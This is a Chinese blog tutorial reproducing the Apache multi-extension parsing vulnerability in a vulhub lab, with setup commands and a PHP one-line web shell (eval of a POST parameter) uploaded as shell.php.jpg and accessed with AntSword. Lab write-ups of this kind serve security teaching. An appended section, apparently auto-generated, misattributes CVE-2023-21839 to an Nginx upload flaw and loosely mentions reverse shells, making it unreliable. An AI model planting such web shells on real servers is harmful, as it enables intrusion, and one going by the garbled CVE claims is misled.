Apache多后缀名解析漏洞复现(vulhub)

文章介绍了Apache服务器的0x00漏洞原理,该漏洞允许上传以.php为隐藏后缀的文件,如shell.php.jpg,导致文件被当作PHP脚本执行。实验展示了在Kali和CentOS靶机环境中,如何利用此漏洞上传一句话木马并成功连接。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00 漏洞原理

Apache默认一个文件可以有多个以点分割的后缀,Apache会从最右边开始识别其后缀名,如遇无法识别的后缀名则依次往左进行识别。例如一个文件名为test.jpg.abc,Apache会先从最右边开始识别,也就是会先识别.abc,apache无法识别.abc,继而往左继续识别,发现是.jpg,Apache可以识别,因此会将其识别为图片文件。

0x01 产生原因

配置Apache时,对于Apache配置不熟练,配置命令不清楚,在配置PHP文件处理程序时,配置命令存在问题:位于漏洞环境目录的 conf/docker-php.conf里的配置命令。

AddHandler application/x-httpd-php .php

该命令会将后缀中只要含有.php的文件都会被当作php程序解析。

 查看网页的源代码

 从源代码中可以看出,该网站只允许上传以gif,png,jpg和jpeg为后缀的文件。但由于Apache存在多后缀名解析漏洞,因此我们可以上传一个名为shell.php.jpg的文件,该文件以.jpg在最后的后缀,因此可以上传到网站;又有该文件存在.php,因此最终该文件会被当作php文件执行。

0x02 实验设备

攻击机:kali(192.168.111.139),win11(10.17.42.114)

靶机:centos7(192.168.111.140)

0x03 实验步骤

1. 进入靶场,拉取镜像,并查看服务相关信息。

cd vulhub/httpd/apache_parsing_vulnerability    //进入靶场
docker-compose up -d    //拉取镜像
docker ps    //查看服务相关信息

 可以看到服务的端口号为80。

2. 从本机中访问该服务。

 

3.选择php的一句话木马文件,并将其重命名为shell.php.jpg,然后上传。

<?php @eval($_POST['cmd']); ?>

网页显示上传成功,并且服务中也确实存在该文件

 

 注:进入服务终端的732f89728c1是容器ID,可以通过docker ps命令查看。

4. 尝试使用蚁剑进行连接(连接的url是http://192.168.111.140/uploadfiles/shell.php.jpg,而不是从/var开始)。

连接成功!

 

### Vulhub CVE 漏洞复现中的文件上传实验 #### Apache HTTPD 换行解析漏洞(CVE-2017-15715) 在处理文件上传的过程中,Apache HTTPD 的换行符解析存在缺陷。攻击者可以通过精心构造的HTTP请求来绕过安全机制并执行恶意操作[^1]。 对于该漏洞的具体实现方式,在构建测试环境时需准备如下组件: - 安装 Docker 和 Git 工具; - 使用 `git clone` 命令克隆 vulhub 项目仓库到本地机器上; ```bash git clone https://github.com/vulhub/vulhub.git ``` 接着进入对应的漏洞案例路径下启动容器服务: ```bash cd vulhub/httpd/CVE-2017-15715/ docker-compose up -d ``` 完成上述配置之后即可访问指定端口验证是否存在此问题,并尝试通过POST方法提交含有特殊字符的数据包来进行进一步探索。 #### Nginx 解析漏洞下的文件上传场景(CVE-2023-21839) 针对Nginx服务器存在的特定版本解析错误,可以利用其对PHP脚本不当处理的特实施攻击行为。当满足一定条件下,能够使远程未经身份验证的用户向Web应用程序发送特制请求从而获取反序列化对象的能力,最终达到命令注入的效果[^2]。 为了重现这一过程,建议按照官方给出的操作指南搭建模拟平台: 同样先拉取最新版源码库至工作区, ```bash git clone https://github.com/vulhub/vulhub.git ``` 定位到目标位置激活所需的服务实例: ```bash cd vulhub/nginx/CVE-2023-21839/ docker-compose up -d ``` 此时应该能看到一个简易的表单页面允许我们上传任意类型的文档。借助于已公开发布的Exploit工具集可快速获得反弹Shell连接权限。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

leoet18

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值